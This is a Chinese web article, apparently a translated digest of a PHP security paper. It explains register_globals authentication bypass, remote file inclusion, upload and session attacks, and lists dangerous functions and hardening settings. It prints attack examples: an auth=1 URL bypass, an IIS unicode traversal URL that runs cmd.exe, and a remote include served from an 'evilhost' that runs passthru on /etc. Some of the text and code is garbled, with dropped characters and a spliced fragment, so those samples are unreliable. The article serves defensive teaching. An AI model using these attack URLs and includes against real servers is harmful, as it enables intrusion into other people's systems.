php常见漏洞:对PHP程序中的常见漏洞de利用来源: 发布时间:星期日, 2008年12月21日 浏览:96次 评论:0
如何对PHP中常见漏洞进行攻击
由于原文比较长而且有相当部分是介绍文章背景或PHP基础知识没有涉及到PHP安全方面内容因此我没有翻译如果你想了解这方面知识请参考原文 文章主要从全局变量远程文件文件上载库文件Session文件数据类型和容易出错这几个方面分析了PHP安全性并且对如何增强PHP安全性提出了些有用建议 好了废话少说我们言归正传! [全局变量] PHP中变量不需要事先声明它们会在第次使用时自动创建它们类型也不需要指定它们会根据上下文环境自动确定从员角度来看这无疑是种极其方便处理思路方法很显然这也是快速开发语言个很有用特点旦个变量被创建了就可以在中任何地方使用这个特点导致结果就是员很少化变量毕竟当它们第次创建时他们是空 很显然基于PHP应用主般都是接受用户输入(主要是表单变量上载文件和Cookie等)然后对输入数据进行处理然后把结果返回到客户端浏览器为了使PHP代码访问用户输入尽可能容易实际上PHP是把这些输入数据看作全局变量来处理 例如: <FORM METHOD="GET" ACTION="test.php"> <INPUT TYPE="TEXT" NAME="hello"> <INPUT TYPE="SUBMIT"> </FORM> 很显然这会显示个文本框和提交按钮当用户点击提交按钮时“test.php”会处理用户输入当“test.php”运行时“$hello”会包含用户在文本框输入数据从这里我们应该看出攻击者可以按照自己意愿创建任意全局变量如果攻击者不是通过表单输入来“test.php”而是直接在浏览器地址栏http://server/test.php?hello=hi&;up=no那么不止是“$hello”被创建“$up”也被创建了 译者注:这两种思路方法也就是我们通常说“POST”和“GET”思路方法 下面用户认证代码暴露了PHP全局变量所导致安全问题: <?php ($pass "hello") $auth = 1; ... ($auth 1) echo "some important information"; ?> 上面代码首先检查用户密码是否为“hello”如果匹配话设置“$auth”为“1”即通过认证的后如果“$suth”为“1”话就会显示些重要信息 表面看起来是正确而且我们中有相当部分人是这样做但是这段代码犯了想当然它假定“$auth”在没有设置值时候是空却没有想到攻击者可以创建任何全局变量并赋值通过类http://server/test.php?auth=1”思路方法我们完全可以欺骗这段代码使它相信我们是已经认证过 因此为了提高PHP安全性我们不能相信任何没有明确定义变量如果中变量很多话这可是项非常艰巨任务 种常用保护方式就是检查HTTP_GET或POST_VARS中变量这依赖于我们提交方式(GET或POST)当PHP配置为打开“track_vars”选项话(这是缺省值)用户提交变量就可以在全局变量和上面提到中获得 但是值得介绍说明是PHP有 4个区别变量用来处理用户输入HTTP_GET_VARS用来处理GET方式提交变量HTTP_POST_VARS用于处理POST方式提交变量HTTP_COOKIE_VARS用于处理作为cookie头提交变量而对于HTTP_POST_FILES(比较新PHP才提供)则完全是用户用来提交变量种可选方式用户个请求可以很容易把变量存在这 4个中因此个安全PHP应该检查这 4个 [远程文件] PHP是种具有丰富特性语言提供了大量使编程者实现某个功能很容易但是从安全角度来看功能越多要保证它安全性就越难远程文件就是介绍说明这个问题个很好例子: <?php (!($fd = fopen("$filename", "r")) echo("Could not open file: $filename<BR>\n"); ?> 上面脚本试图打开文件“$filename”如果失败就显示信息很明显如果我们能够指定“$filename”话就能利用这个脚本浏览系统中任何文件但是这个脚本还存在个不太明显特性那就是它可以从任何其它WEB或FTP站点读取文件实际上PHP大多数文件处理对远程文件处理是透明 例如: 如果指定“$filename”http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir” 则上面代码实际上是利用主机target上unicode漏洞执行了dir命令 这使得支持远程文件require_once和require_once在上下文环境中变得更有趣这些主要功能是包含指定文件内容并且把它们按照PHP代码解释主要是用在库文件上 例如: <?php ($libdir . "/languages.php"); ?> 上例中“$libdir”般是个在执行代码前已经设置好路径如果攻击者能够使得“$libdir”没有被设置话那么他就可以改变这个路径但是攻击者并不能做任何事情他们只能在他们指定路径中访问文件languages.php(perl中“Poison null ”攻击对PHP没有作用)但是由于有了对远程文件支持攻击者就可以做任何事情例如攻击者可以在某台服务器上放个文件languages.php包含如下内容: <?php passthru("/bin/ls /etc"); ?> 然后把“$libdir”设置http://<;;evilhost>/”这样我们就可以在目标主机上执行上面攻击代码“/etc”目录内容作为结果返回到客户浏览器中 需要注意是攻击服务器(也就是evilhost)应该不能执行PHP代码否则攻击代码会在攻击服务器而不是目标服务器执行如果你想了解具体技术细节请参http://www.securereality.com.au/sradv00006.txt [文件上载] PHP自动支持基于RFC 1867文件上载我们看下面例子: <FORM METHOD="POST" ENCTYPE="multipart/form-data"> <INPUT TYPE="FILE" NAME="hello"> <INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"> <INPUT TYPE="SUBMIT"> </FORM> 上面代码让用户从本地机器选择个文件当点击提交后文件就会被上载到服务器这显然是很有用功能但是PHP响应方式使这项功能变不安全当PHP第次接到这种请求甚至在它开始解析被PHP代码的前它会先接受远程用户文件检查文件长度是否超过“$MAX_FILE_SIZE variable”定义值如果通过这些测试话文件就会被存在本地个临时目录中 因此攻击者可以发送任意文件给运行PHP主机在PHP还没有决定是否接受文件上载时文件已经被存在服务器上了 这里我就不讨论利用文件上载来对服务器进行DOS攻击可能性了 让我们考虑下处理文件上载PHP正如我们上面说文件被接收并且存在服务器上(位置是在配置文件中指定般是/tmp)扩展名般是随机类似“phpxXuoXG”形式PHP需要上载文件信息以便处理它这可以通过两种方式种方式是在PHP 3中已经使用另种是在我们对以前思路方法提出安全公告后引入 但是我们可以肯定说问题还是存在大多数PHP还是使用老方式来处理上载文件PHP设置了 4个全局变量来描述上载文件比如说上面例子: $hello = Filename _disibledevent= "shaun"; session_register("session_auth"); // Register $session_auth as a session variable ?> 新版本PHP都会自动把“$session_auth”值设置为“shaun”如果它们被修改话以后脚本都会自动接受修改后值这对无状态Web来说确是种很不错工具但是我们也应该小心 个很明显问题就是确保变量确来自session例如给定上面代码如果后续脚本是下面这样话: <?php (!empty($session_auth)) // Grant access to site here ?> 上面代码假定如果“$session_auth”被置位话就是从session而不是从用户输入来置位如果攻击者通过表单输入来置位话他就可以获得对站点访问权注意攻击者必须在session注册该变量的前使用这种攻击思路方法旦变量被放进了session就会覆盖任何表单输入 Session数据般是保存在文件中(位置是可配置般是“/tmp”)文件名般是类似“sess_<session id>”形式这个文件包含变量名称变量类型变量值和些其它数据在多主机系统中文件是以运行Web服务器用户身份(般是nobody)保存因此恶意站点拥有者就可以通过创建个session文件来获得对其它站点访问甚至可以检查session文件中敏感信息 Session机制也为攻击者把自己输入保存在远程系统文件中提供了另个方便地方对于上面例子来说攻击者需要在远程系统放置个包含PHP代码文件如果不能利用文件上载做到话他通常会利用session为个变量按照自己意愿赋个值然后猜测session文件位置而他知道文件名是“php<session id>”所以只需猜测目录而目录般就是“/tmp” 另外攻击者可以任意指定“session id”(例如“hello”)然后用这个“session id”创建个session文件(例如“/tmp/sess_hello”)但是“session id”只能是字母和数字组合 [数据类型] PHP具有比较松散数据类型变量类型依赖于它们所处上下文环境例如:“$hello”开始是串变量值为“”但是在求值时就变成了整形变量“0”这有时可能会导致些意想不到结果如果“$hello”值为“000”还是为“0”是区别empty返回结果也不会为真 PHP中是关联也就是说索引是串型这意味着“$hello["000"]”和“$hello[0]”也是区别 开发时候应该仔细地考虑上面问题例如我们不应该在个地方测试某个变量是否为“0”而在另外地方使用empty来验证 [容易出错] 我们在分析PHP中漏洞时如果能够拿到源代码话那么份容易出错列表则是我们非常需要如果我们能够远程改变这些参数话那么我们就很可能发现其中漏洞下面是份比较详细容易出错列表: <PHP代码执行> require:读取指定文件内容并且作为PHP代码解释 :同上 eval:把给定串作为PHP代码执行 preg_replace:当和“/e”开关起使用时替换串将被解释为PHP代码 <命令执行> exec:执行指定命令返回执行结果最后行 passthru:执行指定命令返回所有结果到客户浏览器 ``:执行指定命令返回所有结果到个 system:同passthru但是不处理 2进制数据 popen:执行指定命令把输入或输出连接到PHP文件描述符 <文件泄露> fopen:打开文件并对应个PHP文件描述符 readfile:读取文件内容然后输出到客户浏览器 file:把整个文件内容读到个中 译者注:其实这份列表还不是很全比如“mail”等命令也可能执行命令所以需要自己补充下 [如何增强PHP安全性] 我在上面介绍所有攻击对于缺省安装PHP 4都可以很好实现但是我已经重复了很多次PHP配置非常灵活通过配置些PHP选项我们完全可能抵抗其中些攻击下面我按照实现难度对些配置进行了分类: *低难度 **中低难度 ***中高难度 ****高难度 上面分类只是个人看法但是我可以保证如果你使用了PHP提供所有选项话那么你PHP将是很安全即使是第 3方代码也是如此其中很多功能已经不能使用 **** 设置“register_globals”为“off” 这个选项会禁止PHP为用户输入创建全局变量也就是说如果用户提交表单变量“hello”PHP不会创建“$ hello”而只会创建“HTTP_GET/POST_VARS[hello]”这是PHP中个极其重要选项关闭这个选项会给编程带来很大不便 *** 设置“safe_mode”为“on” 打开这个选项会增加如下限制: 1. 限制哪个命令可以被执行 2. 限制哪个可以被使用 3. 基于脚本所有权和目标文件所有权文件访问限制 4. 禁止文件上载功能 这对于ISP来说是个伟大选项同时它也能极大地改进PHP安全性 ** 设置“open_basedir” 这个选项可以禁止指定目录的外文件操作有效地消除了本地文件或者是远程文件被攻击但是仍需要注意文件上载和session文件攻击 ** 设置“display_errors”为“off”设置“log_errors”为“on” 这个选项禁止把信息显示在网页中而是记录到日志文件中这可以有效抵制攻击者对目标脚本中探测 * 设置“allow_url_fopen”为“off” 这个选项可以禁止远程文件功能极力推荐! 0
相关文章读者评论发表评论 |